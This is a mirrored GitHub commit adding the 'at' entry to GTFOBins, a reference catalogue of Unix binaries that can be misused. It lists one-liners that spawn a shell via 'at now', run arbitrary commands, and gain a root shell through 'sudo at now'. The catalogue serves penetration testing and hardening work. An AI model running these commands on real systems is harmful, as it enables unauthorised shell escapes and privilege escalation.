1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
This commit is contained in:
Andrea Cardaci 2021-01-15 20:39:32 +01:00 committed by GitHub
commit da85e84b60
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

14
_gtfobins/at.md Normal file
View File

@ -0,0 +1,14 @@
---
functions:
shell:
- code: |
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
command:
- description: The invocation will be blind, but it is possible to redirect the output to a file in a readable location.
code: |
COMMAND=id
echo "$COMMAND" | at now
sudo:
- code: |
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null
---